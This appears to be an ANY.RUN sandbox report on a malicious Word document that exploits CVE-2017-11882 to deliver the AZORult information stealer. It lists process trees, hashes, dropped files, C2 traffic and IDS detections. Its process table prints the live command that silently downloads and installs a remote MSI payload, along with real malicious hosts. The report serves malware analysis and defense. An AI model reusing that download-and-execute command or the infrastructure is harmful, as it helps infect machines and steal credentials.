analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Nov Shipping Docs 2018.doc

Full analysis: https://app.any.run/tasks/d0e68fae-1016-4881-ac32-79fdfc2c4cb2
Verdict: Malicious activity
Threats:

AZORult can steal banking information, including passwords and credit card details, as well as cryptocurrency. This constantly updated information stealer malware should not be taken lightly, as it continues to be an active threat.

Analysis date: November 15, 2018, 07:17:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
trojan
rat
azorult
exe-to-msi
loader
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF, LF line terminators
MD5:

8E382D2CC60FE515A870D83159704AC3

SHA1:

3087D6FC1F6C41BEC980E9D127B2D13794C7A8F1

SHA256:

27AE8EF20DB6C2764A0FE94ED9F26637AFDD6BE16C0FBC3073571B8760E8C3EA

SSDEEP:

768:QmKfcZpEHUqUisx+NLBQSZCDrpzCUT+qQ5ndGHqWtt96vgAXHNcFbc/3CVc96U:Q4ZcUisxYtZ9miNc12

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2296)
    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 3876)
    • Connects to CnC server

      • MSIB4A8.tmp (PID: 2396)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 1016)
    • AZORULT was detected

      • MSIB4A8.tmp (PID: 2396)
    • Downloads executable files from IP

      • msiexec.exe (PID: 1016)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2296)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 1016)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 1016)
    • Creates files in the user directory

      • MSIB4A8.tmp (PID: 2396)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1480)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1480)
    • Application was crashed

      • EQNEDT32.EXE (PID: 2296)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 1016)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 1016)
    • Application was dropped or rewritten from another process

      • MSIB4A8.tmp (PID: 2396)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe #AZORULT msib4a8.tmp

Process information

PID
CMD
Path
Indicators
Parent process
1480"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Nov Shipping Docs 2018.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2296"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3876cmd.exe & /C CD C: & msiexec.exe /i http://34.244.180.39/55.msi /quiet C:\Windows\system32\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1176msiexec.exe /i http://34.244.180.39/55.msi /quiet C:\Windows\system32\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
1016C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2396"C:\Windows\Installer\MSIB4A8.tmp"C:\Windows\Installer\MSIB4A8.tmp
msiexec.exe
User:
admin
Company:
News Corporation
Integrity Level:
MEDIUM
Description:
Rowprovider Settings Chances Verschluckt
Total events
1 584
Read events
888
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
9
Unknown types
5

Dropped files

PID
Process
Filename
Type
1480WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA208.tmp.cvr
MD5:
SHA256:
1016msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF1953E7AF4A94C6F4.TMP
MD5:
SHA256:
1016msiexec.exeC:\Windows\Installer\MSIAE9A.tmpexecutable
MD5:C85CF0DFA2801FF99A97063F961B37A4
SHA256:82970BCF938FCFB390F3BC527BB3F87BB34559A0484727DB86CA4A08F4DD14C2
1480WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:F12123BE3FC217E2B306FA7D3C1EF718
SHA256:3C767FE8FEA3E2CCF71ADDB57BE518569265124015C279DC07A0A438B8E20F32
1016msiexec.exeC:\Windows\Installer\5db2c2.ipibinary
MD5:6BBF0C984E75D6C044CB0987BF2FC68A
SHA256:843449E9A4A3CAE9DBA79284375A0BF336599DFA9E4B838EDB71A8E2215B2367
1016msiexec.exeC:\Windows\Installer\MSIB34F.tmpbinary
MD5:74E3868E59E6DC582A50A31B7F4F0508
SHA256:CE3DCF8D62960807CBC66F34536C9E34CE2795B32FDAEDD77BC7A07D04580CB9
1016msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\4S364I6P\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
1016msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\LEL10RNF\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
1016msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\4XP494N6\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
1016msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2396
MSIB4A8.tmp
POST
103.63.2.245:80
http://slimiyt.us/coastgard/index.php
HK
malicious
1016
msiexec.exe
GET
200
34.244.180.39:80
http://34.244.180.39/55.msi
IE
executable
596 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2396
MSIB4A8.tmp
103.63.2.245:80
slimiyt.us
Guochao Group limited
HK
suspicious
1016
msiexec.exe
34.244.180.39:80
Amazon.com, Inc.
IE
suspicious

DNS requests

Domain
IP
Reputation
slimiyt.us
  • 103.63.2.245
malicious

Threats

PID
Process
Class
Message
1016
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
1016
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
1016
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
1016
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
2396
MSIB4A8.tmp
A Network Trojan was detected
ET TROJAN AZORult Variant.4 Checkin M2
2396
MSIB4A8.tmp
A Network Trojan was detected
MALWARE [PTsecurity] AZORult client request
2396
MSIB4A8.tmp
A Network Trojan was detected
MALWARE [PTsecurity] AZORult HTTP Header
2396
MSIB4A8.tmp
A Network Trojan was detected
MALWARE [PTsecurity] AZORult encrypted PE file
3 ETPRO signatures available at the full report
No debug info